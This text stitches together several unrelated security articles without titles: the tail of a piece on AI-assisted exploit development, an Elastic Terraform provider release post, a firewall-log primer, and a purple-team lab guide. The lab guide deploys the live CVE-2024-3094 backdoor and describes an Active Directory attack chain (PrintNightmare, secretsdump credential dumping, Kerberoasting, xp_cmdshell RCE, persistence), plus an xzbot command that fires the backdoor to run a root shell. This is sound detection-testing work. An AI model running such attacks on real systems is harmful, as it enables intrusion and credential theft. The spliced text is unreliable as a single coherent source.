The DWM process runs as the DWM user with System integrity. Prior public techniques to achieve SYSTEM typically involve hijacking function pointers mapped into privileged client processes like LogonUI or Consent. However, it appears this technique was recently patched as the shared section is now mapped read-only. We developed a new, alternative path to SYSTEM but are choosing to withhold publishing the technique at this time.

Closing Thoughts

The models we have today are highly capable at tasks that historically have required deep expertise cultivated over many years. This includes things like reverse engineering, vulnerability discovery, and exploit development. Their capabilities are spiky, and do not yet rival the world's best in these fields. However, the march of model progress seems to show no sign of slowing down at the moment. This levels the playing field for defenders, but also raises the capabilities of attackers. While there has always been an adversarial cat and mouse game, and this is not new in that regard, attackers are at least at a near-term asymmetric advantage to wield these tools for harm. Attackers can move faster, with little worry about safety or security of AI systems. Defenders must leverage AI for offensive purposes against their code (for vulnerabilities), security products (for detection gaps), and their enterprises (adversary emulation) to find weaknesses and iterate on improved defenses before attackers do. Unfortunately, it may be the small organizations with no security teams that take the brunt of the near term pain. My hope is that long-term, the security community can together outspend attackers on offensive and defensive research, and we exit this era in a better place than we started.

This brings your detection logic and ML jobs into the same versioned, peer-reviewed workflow as your core clusters. It ensures your security posture and AI connectors are no longer manual outliers in an otherwise automated environment.

The challenge: Security and observability configuration at scale

As Elastic deployments grow, so does the complexity of managing them. Security teams maintain hundreds of detection rules. SREs configure monitoring across dozens of clusters. ML engineers tune anomaly detection jobs across multiple environments. All of these configurations must be consistent, auditable, and reproducible.

Without infrastructure as code, teams face two problems:

1. Configuration drift. Rules, policies, and monitors are created manually through the Kibana UI. Over time, production and staging diverge. No one is sure which version of a detection rule is running where.

2. Buried audit trail. When a detection rule changes or an exception is added, there's no pull request to review, no commit history to trace, and no rollback path if something breaks. Users need to put in extra effort to access such history.

Elastic Stack Terraform provider solves this by bringing these configurations into the same version-controlled, peer-reviewed workflow that teams already use for infrastructure.

Security artifacts as code: Detection rules, exceptions, and prebuilt rules

You can now manage the full lifecycle of Elastic Security detection rules through Terraform.

Detection rules

The elasticstack_kibana_security_detection_rule resource lets you define, version, and deploy detection rules in the HashiCorp Configuration Language (HCL) format:

resource "elasticstack_kibana_security_detection_rule" "suspicious_admin_logon" {
  name        = "Suspicious Admin Logon Activity"
  type        = "query"
  query       = "event.action:logon AND user.name:admin"
  language    = "kuery"
  enabled     = true
  description = "Detects suspicious admin logon activities"
  severity    = "high"
  risk_score  = 75
  from        = "now-6m"
  to          = "now"
  interval    = "5m"
  tags        = ["security", "authentication", "admin"]
}

This means your detection rules live in Git, undergo code review, and are deployed consistently across environments. No more clicking through the Kibana UI to replicate rules from staging to production.

Detection rule resource docs

Exception lists and items

The security-as-code story extends to a full suite of exception management resources:

• elasticstack_kibana_security_exception_list - Create and manage exception lists
• elasticstack_kibana_security_exception_item - Define individual exception items within a list
• elasticstack_kibana_security_list and elasticstack_kibana_security_list_item - Manage value lists for IP allowlists, file hashes, and other indicators
• elasticstack_kibana_security_list_data_streams - Associate lists with specific data streams

Here's an example that ties them together - an exception list with items that suppress known false positives for a detection rule:

resource "elasticstack_kibana_security_exception_list" "vuln_scanner_exceptions" {
  list_id        = "vuln-scanner-exceptions"
  name           = "Vulnerability Scanner Exceptions"
  description    = "Suppress alerts from authorized vulnerability scanners"
  type           = "detection"
  namespace_type = "single"
  tags           = ["security", "vulnerability-scanning"]
}

resource "elasticstack_kibana_security_exception_item" "nessus_scanner" {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = "nessus-scanner"
  name           = "Nessus Scanner - Authorized"
  description    = "Suppress alerts from authorized Nessus scanner hosts"
  type           = "simple"
  namespace_type = "single"

  entries = [
    {
      type     = "match"
      field    = "source.ip"
      operator = "included"
      value    = "10.0.50.10"
    },
    {
      type     = "match_any"
      field    = "process.name"
      operator = "included"
      values   = ["nessus", "nessusd"]
    }
  ]

  tags = ["nessus", "authorized-scanner"]
}

resource "elasticstack_kibana_security_exception_item" "qualys_scanner" {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = "qualys-scanner"
  name           = "Qualys Scanner - Authorized"
  description    = "Suppress alerts from authorized Qualys scanner subnet"
  type           = "simple"
  namespace_type = "single"

  entries = [
    {
      type     = "match"
      field    = "source.ip"
      operator = "included"
      value    = "10.0.51.0/24"
    }
  ]

  tags = ["qualys", "authorized-scanner"]
}

The exception list and its items are linked by list_id, so Terraform manages the dependency graph automatically. Adding a new authorized scanner is a one-line PR - no clicking through the Kibana UI, no risk of forgetting which environment got the update.

Prebuilt security rules

The elasticstack_kibana_prebuilt_rule resource lets you manage Elastic's prebuilt detection rules via Terraform. This is particularly valuable for organizations that need to track which prebuilt rules are enabled, customize their parameters, and ensure consistent deployment across environments.

ML anomaly detection as code

Machine learning anomaly detection is one of Elasticsearch's most powerful capabilities - but managing ML jobs across environments has traditionally been a manual process. You create a job in the Kibana UI, tune the detectors, configure the datafeed, and hope someone documents the settings so they can be replicated in the next environment.

The elasticstack_elasticsearch_ml_anomaly_detection_job resource changes that. You can now define the full configuration of an anomaly detection job in HCL - detectors, bucket spans, influencers, data feeds, and analysis limits - and deploy it consistently across dev, staging, and production.

resource "elasticstack_elasticsearch_ml_anomaly_detection_job" "cpu_anomalies" {
  job_id      = "high-cpu-by-host"
  description = "Detect unusual CPU usage patterns"

  analysis_config = {
    bucket_span = "15m"
    detectors   = [{
      function   = "high_mean"
      field_name = "system.cpu.user_pct"
    }]
    influencers = ["host.name"]
  }

  data_description = {
    time_field = "@timestamp"
  }
}

This matters for teams that rely on ML to catch infrastructure anomalies, unusual user behavior, or security threats. Instead of manually recreating jobs when spinning up new clusters or recovering from failures, the entire ML configuration lives in version control - reviewable, repeatable, and recoverable.

Cross-cluster automation with API keys

For organizations running multiple Elasticsearch clusters, the provider now supports cluster API keys for cross-cluster search (CCS) and cross-cluster replication (CCR). You can create API keys specifically designed for secure cross-cluster communication, enabling end-to-end automation of multi-cluster architectures.

This means you can provision two clusters, configure CCS/CCR between them, and set up the necessary security credentials - all in a single Terraform configuration.

resource "elasticstack_elasticsearch_security_api_key" "ccs_key" {
  name = "cross-cluster-search-key"
  type = "cross_cluster"

  access = {
    search = [{
      names = ["logs-*", "metrics-*"]
    }]
    replication = [{
      names = ["archive-*"]
    }]
  }

  expiration = "90d"

  metadata = jsonencode({
    environment = "production"
    purpose     = "ccs-ccr-between-prod-clusters"
    team        = "platform"
  })
}

When the type is set to cross_cluster, the API key is scoped to CCS/CCR operations. You define which index patterns are accessible for search and replication, set an expiration policy, and tag the key with metadata - all reviewable in a pull request.

Learn more about API key resources in the documentation.

AI connectors as code

The provider now supports .bedrock and .gen-ai connectors, bringing AI infrastructure into your Terraform workflows. As teams increasingly integrate large language models into their Elastic workflows - for AI assistants, attack discovery, and automated investigations - managing these connector configurations as code becomes essential.

resource "elasticstack_kibana_action_connector" "bedrock" {
  name              = "aws-bedrock"
  connector_type_id = ".bedrock"
  config = jsonencode({
    apiUrl       = "https://bedrock-runtime.us-east-1.amazonaws.com"
    defaultModel = "anthropic.claude-v2"
  })
  secrets = jsonencode({
    accessKey = var.aws_access_key
    secret    = var.aws_secret_key
  })
}

resource "elasticstack_kibana_action_connector" "openai" {
  name              = "openai"
  connector_type_id = ".gen-ai"
  config = jsonencode({
    apiProvider  = "OpenAI"
    apiUrl       = "https://api.openai.com/v1/chat/completions"
    defaultModel = "gpt-4"
  })
  secrets = jsonencode({
    apiKey = var.openai_api_key
  })
}

With these connectors defined in Terraform, you can version your AI integration configuration alongside the rest of your Elastic infrastructure - and swap models or providers through a simple PR.

Observability enhancements

Synthetics monitors

The elasticstack_kibana_synthetics_monitor resource now includes a labels field, enabling better organization and filtering of synthetic checks. Labels let you tag monitors by team, environment, or service, making it easier to manage synthetic monitoring at scale.

Additional platform improvements

Recent releases also included several resources and attributes that round out the provider's coverage:

• elasticstack_elasticsearch_alias - Manage Elasticsearch aliases as a dedicated resource
• elasticstack_kibana_default_data_view - Set the default data view for a Kibana space
• solution attribute on elasticstack_kibana_space - Configure the solution type for Kibana spaces (available from 8.16)
• Fleet agent policy enhancements - host_name_format for configuring hostname vs. FQDN, and required_versions for version pinning

Getting started

If you're already using the Elastic Stack Terraform provider, upgrade to the latest provider version to get all of these capabilities:

terraform {
  required_providers {
    elasticstack = {
      source  = "elastic/elasticstack"
      version = "~> 0.14"
    }
  }
}

If you're new to managing your Elastic Stack with Terraform, start with the provider documentation on the Terraform registry.

To start using Elastic Cloud today, log in to the Elastic Cloud console or sign up for a free trial.
For the full set of changes, check out the release notes on GitHub.

The network firewall is one of the most critical security controls in a network. It enforces security policies by inspecting and controlling traffic between network segments, while generating logs that record allowed and denied connections. This article explores why firewall logs are a valuable supplement to other data sources, such as endpoint telemetry, and provides an overview of what firewall logs contain and how security teams can use them effectively.

We will cover:

• The importance of network firewall logs
• What’s inside network firewall logs & how those data help cybersecurity
• Collecting network firewall logs with Elastic agent
• Exploring your data on the Elastic Security Network Page

The Importance of Network Firewall Logs

A network firewall acts as a gatekeeper, filtering traffic based on organizational rules and policies. For instance, it might permit one system to use RDP to connect to another while blocking similar access from other systems. In cloud environments, virtual firewalls enforce security group rules, network ACLs, and policy boundaries across VPCs, subnets, and regions thus, offering visibility into east-west and north-south traffic across your cloud estate.

Modern Firewalls go beyond traditional filtering by incorporating deep packet inspection, application awareness, and threat intelligence, among others.

Positioned strategically, firewalls capture logs that provide insights into inter-zone and intra-zone communication. For instance:

• North-south traffic is data movement between an internal network and external entities like the Internet or cloud services. It is typically monitored by firewalls and security controls to prevent external threats.
• East-west traffic refers to communication within a network, such as between servers, endpoints, or applications inside an organization. It is crucial for internal operations and requires lateral movement detection for security.

By analyzing these logs, security teams gain critical insights into traffic patterns, rule enforcement, and potential threats.

What's to Look Out for in Network Firewall Logs?

Firewall logs contain detailed records of network activity and are packed with information useful for tracking, monitoring, and analyzing traffic patterns, in addition to identifying security events and potential threats. These logs are related to packet filtering and traffic control, capturing allowed and denied traffic, NAT translations, and access control decisions.

The following is a list of key fields that provide the "ground truth" for your network. Please note that the parenthesis contain the equivalent ECS fields.

• Timestamp (@timestamp): This is the chronological anchor of firewall logs. It helps analysts correlate sequences of events across different devices and networks. For example, if an analyst identifies a suspicious connection, they can trace back the actions preceding or following it to build a precise incident timeline.

• Source and Destination IP (source.ip, destination.ip): These identify the origin and target of the traffic. While seemingly simple, directionality is a critical distinction in firewall rulesets. Source IPs help identify malicious external origins or internal systems attempting brute-force attacks, while destination IPs help flag when high-value assets, such as a sensitive database, are being targeted.

• Source and Destination Port (source.port, destination.port): Attackers often target specific services. While source ports are often dynamic, destination ports tell you what service is being probed. High-frequency connections to common services (like 80/HTTP or 443/HTTPS) or high-risk ports (like 22/SSH) can be the first indicator of unauthorized access or web-based attacks.

• Protocol (network.transport): Analyzing usage of protocols like TCP, UDP, or ICMP helps identify specific attack types. For instance, unusual ICMP patterns might signal a ping sweep or a denial-of-service (DoS) attempt.

• Action and Rule Identifiers (event.action or event.outcome, rule.name or rule.id): Understanding whether a firewall allowed or blocked a connection is vital. By identifying the specific Rule Identifier, analysts can see which policy was responsible. This is essential for finding misconfigured rules that might be unintentionally exposing the network to attacks.

• Traffic Volume (source.bytes, destination.bytes, network.bytes): These fields are primary indicators for data exfiltration. Sudden spikes in volume or large transfers to an external destination are often the "early warning" for data theft or malware beaconing.

• NAT Info (source.nat.ip, destination.nat.ip): In complex environments where Network Address Translation (NAT) is involved, these fields are crucial for "unmasking" the actual internal systems involved. Without this, tracing a suspicious connection back to a specific internal host can be nearly impossible. This is key especially for north-south type of traffic.

• Application Info (network.application): Next-Generation Firewalls (NGFWs) go beyond ports to identify the actual application (e.g., Skype, BitTorrent, or HTTP). This allows analysts to detect unauthorized applications that might be masking their traffic on standard ports, signaling potential insider threats, lateral movement, or the use of high-risk peer-to-peer software.

• Interface Info (observer.ingress.interface.name, observer.egress.interface.name): Knowing which physical or virtual interface the traffic passed through (e.g., WAN vs. LAN) helps analysts understand which network segments are involved. Traffic crossing internal interfaces is a key indicator of malware propagation or lateral movement.

Note: Some integrations might have these fields labeled differently.

Collecting firewall logs with Elastic Security

Elastic makes it easy to collect network firewall logs. This guide describes how to use Elastic Agent and Fleet for firewall log collection. There are other ways Elastic can allow you to collect network logs, such as using Logstash. In cloud environments, you can also ingest logs directly from object storage (like AWS S3 or Azure Blob). This approach is useful for environments where firewalls log to a centralized store rather than stream data directly.

To effectively collect and analyze network firewall logs using Elastic Security, follow these steps:

1. Configure Log Forwarding: Set up your firewall to forward logs to Elastic Agent.
2. Syslog Configuration (or similar): Typically, you will direct your firewall to send Syslog data to the host that has the Elastic Agent, specifying the appropriate IP address and port.
3. Elastic Agent Setup: Install and configure Elastic Agent on a syslog server, edge server, or similar log collector to receive and process the logs.
4. Utilize the relevant Elastic Integrations: Elastic offers integrations tailored for various firewalls, such as:
   • Palo Alto Next-Gen firewall
   • Fortinet FortiGate firewall
   • Check Point
   • Cisco ASA
   • AWS Network Firewall
   • Azure Firewall
   • GCP Firewall, among others.
5. Ingest Logs into Elastic Security: Ensure that the logs are ingested into Elasticsearch, making them accessible in Elastic Security for analysis and visualization. Elastic also enriches ingested firewall logs with helpful context such as geolocation, IP-to-hostname mapping, threat intelligence matches, and even business metadata making investigations faster and more informed.

By following these steps, you can effectively collect, process, and analyze network firewall logs within Elastic.

Exploring Your Data: The Elastic Security Network Page

Once your firewall logs are flowing into Elastic, you can move from collection to exploration. The Network Page in Elastic Security is your central hub for visualizing and investigating aggregated network data, including firewall data.

Instead of just looking at raw logs, this page provides key network activity metrics in an interactive map and a series of data tables.

Key features of the Network page include:

• Interactive Map: Get an immediate visual overview of your network traffic. You can see source and destination points mapped geographically, helping you instantly spot unusual connections, like an internal server communicating with an IP in a country you don't do business with.
• Drill-down Widgets: Interactive widgets allow you to quickly find baselines and outliers. You can see top talkers for:
  • Network Events
  • DNS Queries
  • TLS Handshakes
  • Unique Private IPs
• Focused Data Tabs: The page includes tabs to pivot your investigation into specific data types, such as:
  • Flows: See source and destination IP addresses and countries.
  • DNS: Analyze all DNS network queries.
  • HTTP: Inspect received HTTP requests.
  • TLS: Investigate handshake details.
• Timeline Integration: You can drag and drop items of interest—like a suspicious IP address or host name—directly from the Network page into Timeline for deeper investigation and correlation.

Using this page, you can start to answer foundational questions like, "What is normal traffic for my network?" and "Which external IPs are my internal hosts communicating with most?" This visual exploration is the first step before moving into automated detection.

Start Exploring Your Network Data

In this post, we've covered the fundamentals: why firewall logs are critical, what's inside them, how to ingest them using Elastic Agent, and how to begin visually exploring that data on the Network page.

In Part 2, we'll build on this foundation and move from exploration to active threat detection. We will cover how to use Elastic Security’s detection rules to automatically find network-native threats like reconnaissance, C2, and data exfiltration, as well as how to hunt for advanced lateral movement by correlating with other data such as endpoint data and other telemetry.

Ready to turn your own firewall logs into actionable insights?

• New to Elastic? Start your free 14-day trial of Elastic Cloud to see the Network Page in action.
• Already an Elastic user? Head to the Integrations app in Kibana, add your firewall's integration, and start exploring your network data today.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In modern security operations, detection engineering is no longer a “set it and forget it” discipline. The central challenge for any security team – and the question that underpins the entire purple-team approach is simple: how do you know whether your detection rules genuinely work? Continually validating detection logic against an ever-shifting adversary toolkit is now a fundamental requirement.

Arguably, the largest hurdle for this exercise has always been setting up the lab. Manually provisioning a multi-domain Active Directory forest, configuring it with specific vulnerabilities, and deploying a separate, contained malware analysis environment is a complex and time-consuming process. This repetitive setup work is a significant drain on an organization's most valuable resource: the time of its senior security analysts. Community discussions echo this frustration, highlighting the hours lost to manual setup before a single test can be run.

This blog details a modern solution that eliminates this bottleneck by combining rapid infrastructure automation with a unified security analytics platform. The solution leverages two key components:

1. Ludus: An open-source automation overlay that deploys and configures complex, multi-VM cyber ranges from a single command.
2. Elastic Security: The platform that unifies Security Information Event Management (SIEM), eXtended Detection and Response (XDR), and cloud security, providing a consolidated solution to ingest, detect, and respond to threats. It offers the "limitless visibility" required to observe every action within the simulated environment.

The goal of this guide is to provide a definitive, step-by-step blueprint for building this integrated system. It will show how to move from slow, manual, and inconsistent lab testing to a continuous, automated, and scalable detection-engineering workflow beyond what Elastic Cortado provides.

The Solution Architecture: Ludus + Elastic

This architecture represents a high-fidelity simulation of a modern hybrid enterprise. The Ludus range acts as the "on-prem" or IaaS data center, while the Elastic Cloud deployment represents the "SaaS" security stack. This model perfectly mirrors the hybrid and multi-cloud environments that Elastic Security is designed to protect, making the architecture of the test as valuable as the attacks themselves.

The build consists of the following core components.

Component 1: The Foundation (Ludus)

Ludus serves as the Infrastructure-as-a-Service (IaaS) layer. Built to run on Proxmox 8/9 or Debian 12/13, it uses YAML configuration files to define complex virtual networks, supporting up to 255 distinct VLANs. Behind the scenes, Ludus easily leverages Packer and Ansible to build, configure, and deploy the virtual machine templates from that single file.
Review and follow the installation steps and hardware requirements in the Ludus quick-start.

Component 2: The Targets (The Labs)

This guide merges two distinct Ludus environments into a single, comprehensive range to test a wider spectrum of threats:

• Game of Active Directory (GOAD): A purpose-built Active Directory lab designed by security researchers at Orange Cyberdefense. It is pre-configured with the specific misconfigurations and vulnerabilities needed to simulate common identity-based attack paths, such as Kerberoasting, NTLM Relay, and Active Directory Certificate Services (ADCS) abuse.
• XZbot Malware Lab: A high-risk, high-fidelity malware environment. This lab contains the actual, functional CVE-2024-3094 backdoor. This provides a perfect, modern test case for a sophisticated software supply-chain attack.

Important Disclaimer

Handling live malware, even for research, can violate Acceptable Use Policies (AUPs) of ISPs or cloud providers. Ensure you own the infrastructure (Ludus is on-prem) and ensure your upstream ISP allows for such research, or route traffic through a VPN.

Component 3: The Sensor Grid (Elastic Agent & Defend)

To gain visibility, every virtual machine in the Ludus range across both GOAD and XZbot labs will be instrumented with Elastic Agent, a single, unified agent for data collection and protection (via Elastic Defend).

This instrumentation is automated via the badsectorlabs/ludus_elastic_agent Ansible role. This role is the critical lynchpin that programmatically bridges the infrastructure provisioning phase (Ludus/Ansible) with the security instrumentation phase (Elastic), enabling a true "infrastructure-as-code" workflow.

Crucially, the Elastic Agent policy will be configured with the Elastic Defend integration. This elevates the agent from a simple log collector to a full-powered Endpoint Detection & Response (EDR)/eXtended Detection & Response (XDR) solution, providing host-based detections (including Machine Learning (ML) driven malware and ransomware detection) and the deep, kernel-level telemetry essential for detection.

Note: For the purple team approach outlined in this blog, set policies to Detect mode.

Component 4: The Brain (Elastic Cloud Hosted / Elastic Serverless)

All security telemetry and alerts from the Elastic Agents in the Ludus range are streamed to a centralized Elastic Cloud Hosted (ECH) or Elastic Serverless deployment. This is where the unified platform's analytical power comes to life. Using a cloud-native platform is not just for hosting; it is what unlocks Elastic's most advanced, force-multiplying features, including Attack Discovery and the AI Assistant. Click here to start a trial on Elastic Cloud.

The diagram below provides an overview of the build, which is based on the GOAD lab.

Phase 1: Building and Instrumenting the Range

This section provides a technical, step-by-step guide to configuring and deploying the automated range. The process follows a clear "infrastructure-as-code" (IaC) model, where the security instrumentation is defined alongside the infrastructure itself, ensuring a consistent and repeatable monitoring posture for every deployment. The Elastic Cloud instance and its configurations can be managed with the Elastic Cloud and Elastic Stack Terraform provider for a full IaC model of the range and the SIEM.

3.1 Configuring the Elastic Agent Policy (in Kibana)

Before running the Ludus range deployment, the agent policy must be created in the Elastic Cloud instance. This policy is what enables the powerful EDR/XDR telemetry.

The operational flow is as follows:

1. Log in to the Elastic Cloud (ECH) or Elastic Serverless Kibana instance.
2. Navigate to Management > Fleet.
3. Create a new Agent policy (e.g., "ludus-range-policy"). The ludus_elastic_agent role will enroll agents into the policy you specify in your VM-level customization or into the default policy linked to the global variable.
4. Add the Elastic Defend integration to this policy.
5. Configure the Elastic Defend integration to run in Detect mode. This activates the full suite of EDR telemetries.
6. Save the policy and click "Add agent." This will provide the Enrollment token (for ludus_elastic_enrollment_token) and Fleet server URL (for ludus_elastic_fleet_server) needed for the ludus.yml file.
7. (Optional) Repeat steps 3-6 to create customized policies to align with the host’s functions and capabilities for VM-level customization of policies.

Once this policy is created and the token is pasted into the ludus.yml file, running Ludus range deploy will execute the full, automated workflow. Ludus provisions the VMs, and Ansible installs the Elastic Agent, which then enrolls in Fleet and automatically pulls down the policy containing the Elastic Defend integration. This provides the rich EDR telemetry - kernel-level process, file, network, and registry events - from the moment the lab is born.

3.2 The Ludus YAML Configuration (ludus.yml)

Ludus provides the steps to deploy the GOAD range here. The configuration for the range is stored in the ludus.yml configuration file. For the GOAD range, it is located in ad/GOAD/providers/ludus/config.yml.
The full configuration in the appendix is an example based on a sample running configuration that merges a full GOAD lab (on VLAN 10) with the XZbot lab (on VLAN 20).

To deploy a customized version during installation, update the ad/GOAD/providers/ludus/config.yml file before running the goad.sh script in step 2.

git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD
sudo apt install python3.11-venv
export LUDUS_API_KEY='myapikey'  # put your Ludus admin api key here nano ad/GOAD/providers/ludus/config.yml # customize the configuration here
./goad.sh -p ludus
GOAD/ludus/local > check
GOAD/ludus/local > set_lab GOAD # GOAD/GOAD-Light/NHA/SCCM
GOAD/ludus/local > install

Two key configuration options can be used to customize the range:

1. Global Variables: To simplify the config and avoid repetition, the Elastic Agent variables are defined once at the top level in a global Ansible.vars block and are inherited by all VMs.

   The enrollment token determines the Elastic Agent policy used.

# ludus.yml
---
# --- GLOBAL ANSIBLE VARS (Simplification) ---
# Define Elastic agent vars once and apply globally
global_role_vars:
  ludus_elastic_fleet_server: "<your-fleet.example.com:443>" # Use 443 for cloud
  ludus_elastic_enrollment_token: "<your_enrollment_token>"
  ludus_elastic_agent_version: "9.2.1"

2. VM-level Variables: The Elastic Agent variables can be configured at the VM-level to customize the policy applied. These can be combined with the global variable, for example, where the agent version and fleet_server are set via global variables, and the enrollment tokens are set at the VM-level to apply different policies to VMs.

# --- VM DEFINITIONS ---
vms:
  # --- GOAD LAB (VLAN 10) ---
  - name: "{{ range_id }}-GOAD-DC01"
    hostname: "{{ range_id }}-DC01"
    template: win2019-server-x64-template
    vlan: 10
    ip_last_octet: 10
    ram_gb: 4
    cpus: 2
    windows: { sysprep: true }
    ansible:
      roles:
        - badsectorlabs.ludus_elastic_agent
      role_vars:
        ludus_elastic_enrollment_token: "<your_enrollment_token>" # different token for different policies
  # (Definitions for GOAD-DC02, GOAD-DC03, GOAD-SRV02, GOAD-SRV03 
  #  would follow, all inheriting the global ansible vars)

Automating Elastic Agent Deployment

The ludus.yml snippet above demonstrates the automation. By adding the badsectorlabs.ludus_elastic_agent role to the ansible.roles section of each VM definition, Ludus will automatically install and configure the agent during deployment.

This single Ansible role is compatible with all operating systems in our heterogeneous lab, including Windows (for GOAD), Kali, and Debian (for XZbot).

As shown in the simplified YAML, the ansible.vars block at the top level passes the critical parameters to the role:

• ludus_elastic_fleet_server: The Fleet server URL and port for your Elastic Cloud deployment (e.g., your-fleet.example.com:443).
• ludus_elastic_enrollment_token: The token that enrolls the agent.
  The full example sets the ludus_elastic_enrollment_token at the VM level to demonstrate the ability to use different policies.
• ludus_elastic_agent_version: The specific agent version to install (e.g., 9.2.1).

Note: The Kali host will have Elastic Defend also deployed to monitor attacker behavior, this won’t be possible in a real-world scenario.

Safety First: Isolation, OPSEC, and Live Malware

This section contains a critical safety and operational security (OPSEC) warning. This configuration involves a significant, non-trivial risk that must be professionally managed.

4.1 The Threat: This is Not a Simulation

It must be stated unequivocally: The Ludus XZbot lab guide and its associated Ansible role install the actual, functional CVE-2024-3094 backdoor. This is not benign, simulated code. The lab's own documentation states: "Danger: This role contains malware (on purpose)."

While described as a "passive backdoor" (meaning it requires an attacker to actively trigger it), any virtual machine running this code with an open internet connection is a catastrophic liability. It could be scanned, exploited by unknown actors, or used as a pivot point to attack other networks.

4.2 The Contradiction: Isolation vs. Cloud Connectivity

This architecture creates a direct and critical operational conflict:

1. Requirement 1 (Safety): The malware lab must be isolated from the public internet to prevent compromise or breakout.
2. Requirement 2 (Function): The Elastic Agent must have outbound internet connectivity to reach the Elastic Cloud Hosted / Elastic Serverless endpoints for enrollment and data streaming.

A novice user would fail here, either by exposing their infected lab to the world or by isolating it so completely that no security telemetry can be collected.

4.3 The Solution: Pinhole Egress via Ludus Testing mode

The conflict is resolved using Ludus's built-in "testing" mode, which provides granular control over network egress. This feature is used for the pinhole egress, which enables agent control, telemetry, and log output.

# 1. Start the isolated testing session
ludus testing start # Note external DNS resolvers may also need to be added # ludus testing allow -i 1.1.1.1,8.8.8.8

# 2. Allow Elastic Fleet Server (Control Plane)
# Replace <id> with your specific deployment ID # Note the endpoint will differ based on the cloud providers
ludus testing allow -d <your-deployment-id>.fleet.us-central1.gcp.cloud.es.io

# 3. Allow Elasticsearch Ingest (Data Plane) # Note the endpoint will differ based on the cloud providers
ludus testing allow -d <your-deployment-id>.es.us-central1.gcp.cloud.es.io

This configuration delivers an expert-level solution: the malware is safely contained, while the Elastic Agent is granted only the minimal connectivity required to make policy updates (via communication with the fleet endpoint) and to ingest data (via communication with the ES endpoint).

4.4 Accessing the Range in Testing Mode (WireGuard)

Once Testing Mode is active, standard routing fails. You cannot simply SSH into your Kali VM from your local LAN because the router drops the traffic. Ludus provides an out-of-band management channel using WireGuard.

Ludus configures a WireGuard interface (wg0) on the router VM (198.51.100.1) and assigns you a static client IP (e.g., 198.51.100.2).

• Persistent Allow Rules: The router's firewall configuration includes specific rules in the LUDUS_DEFAULTS chain. These rules explicitly ACCEPT traffic sourced from or destined to the WireGuard subnet (198.51.100.0/24).
• Priority: Because these rules exist in the LUDUS_DEFAULTS chain, they override the DROP rules applied by Testing Mode.

How to connect:

1. Generate your config: ludus user wireguard > ludus.conf
2. Import this into your local WireGuard client and activate the tunnel.
3. Connect directly to the private IPs of your VMs (e.g., 10.10.10.11) over the tunnel.

Phase 2: Executing the Attacks

With the high-fidelity, fully instrumented range deployed, the "Red Team" phase can begin. This involves logging into a dedicated attacker VM (like the included Kali VM or a remnux-analyzer VM) and executing the attacks. This activity generates the rich, malicious telemetry that Elastic Defend will capture.

This combined range allows for testing defenses against the two dominant, macro-level threat vectors: identity-based "living-off-the-land" (LotL) attacks and vulnerability-based supply-chain intrusions.

5.1 Active Directory Simulation (GOAD)

• Initial Access (Credential Stuffing)
  1. The attacker targets the external perimeter. Using a list of breached credentials, you execute a password stuffing attack against the Essos.local domain. You successfully validate the credentials for the user khal.drogo.
  2. Sample Tool: kerbrute or smartbrute
  3. Result: Valid credentials for a low-privilege domain user.
• Privilege Escalation (PrintNightmare)
  1. khal.drogo has limited rights. To gain a foothold on the CastelBlack server, you exploit PrintNightmare (CVE-2021-34527). This vulnerability in the Windows Print Spooler service allows any authenticated user to install a malicious print driver. You upload a driver that adds a new local admin user to the box.
  2. Sample Tool: CVE-2021-34527.py exploit script
  3. Result: Local SYSTEM access on CastelBlack.
• Credential Dump (DCSync Preparation)
  1. Now running as SYSTEM/Admin on CastelBlack, you inspect the machine for cached credentials. You run Impacket's secretsdump to pull hashes from the SAM database and LSASS memory. You discover the NTLM hash for the built-in Administrator account, which was left in memory from a previous support session.
  2. Sample Tool: impacket-secretsdump
  3. Result: NTLM Hash of a Domain Admin or high-privilege account.
• Kerberoasting
  1. With valid domain credentials, you pivot to the internal network. You request Kerberos Service Tickets (TGS) for Service Principal Names (SPNs) in the environment. You target the MSSQLSvc account. You take the encrypted ticket offline and crack it to reveal the plaintext password for the SQL service account.
  2. Sample Tool: Rubeus or GetUserSPNs.py
  3. Result: Plaintext password for the MSSQL service account.
• MSSQL Attacks
  1. You use the cracked SQL credentials to authenticate directly to the Braavos SQL Server. Since the service account has sysadmin rights, you abuse the xp_cmdshell stored procedure. This feature allows you to spawn a Windows command shell directly from a SQL query, effectively giving you Remote Code Execution (RCE) on the database server.
  2. Sample Tool: mssqlclient.py
  3. Result: RCE on the Database Server.
• Persistence (Scheduled Task)
  1. To ensure you don't lose access if the SQL password changes, you establish persistence. You create a Windows Scheduled Task on the compromised SQL server. This task is configured to execute a beacon binary every day, running as SYSTEM.
  2. Sample Tool: schtasks.exe or PowerShell
  3. Result: Long-term persistence.

5.2 Malware Lab Simulation (XZbot)

• Step 7: Supply Chain Pivot (XZ Backdoor)
• Simultaneously, you target the Linux infrastructure in the DMZ. You trigger the pre-implanted XZ Backdoor (CVE-2024-3094) on the xz-backdoor-dect VM. By manipulating the SSH handshake with a specific cryptographic key, you bypass authentication entirely and execute commands as root without leaving standard SSH logs.
• Tool: xzbot
• Result: Root access on Linux infrastructure via supply chain compromise.
• The attacker uses the xzbot client provided in the Ludus lab.
• From the attacker VM, the following command is run to trigger the backdoor on the vulnerable Debian host:
  xzbot --ssh-addr '10.X.X.X:22' -cmd 'setsid sh -c "echo test"' 2>&1
• This action causes the sshd process on the target to anomalously spawn a shell and execute the command as root, creating definitive proof of execution.

Phase 3: Unified Detection & Investigation with Elastic Security

This is the "Blue Team" payoff. The telemetry and alerts generated in Phase 2 are now available for analysis within the unified Elastic Security platform.

6.1 The "Powerful SIEM": Centralized Visibility & Prebuilt Detections

The power of the Elastic SIEM is not just in its ability to passively collect logs. Its power comes from the active analysis it performs on the deep, contextual data provided by Elastic Defend. The "Complete Endpoint Visibility" from Defend provides not just basic logs, but kernel-level telemetry - process creations, file modifications, network connections, and registry changes.

This rich data, all normalized to the Elastic Common Schema (ECS), feeds Elastic's extensive library of ~1500+ prebuilt, MITRE-mapped detection rules. These rules are researched, developed, and maintained by the Elastic Security Labs team, providing out-of-the-box detection value.

The Ludus range serves as the perfect validation platform for this value. The attacks executed in Phase 2 are not theoretical; they are mapped directly to specific expected artifacts ("smoking gun"). A combination of prebuilt rules and custom rules is intentionally used together in the example to alert on specific behaviors.

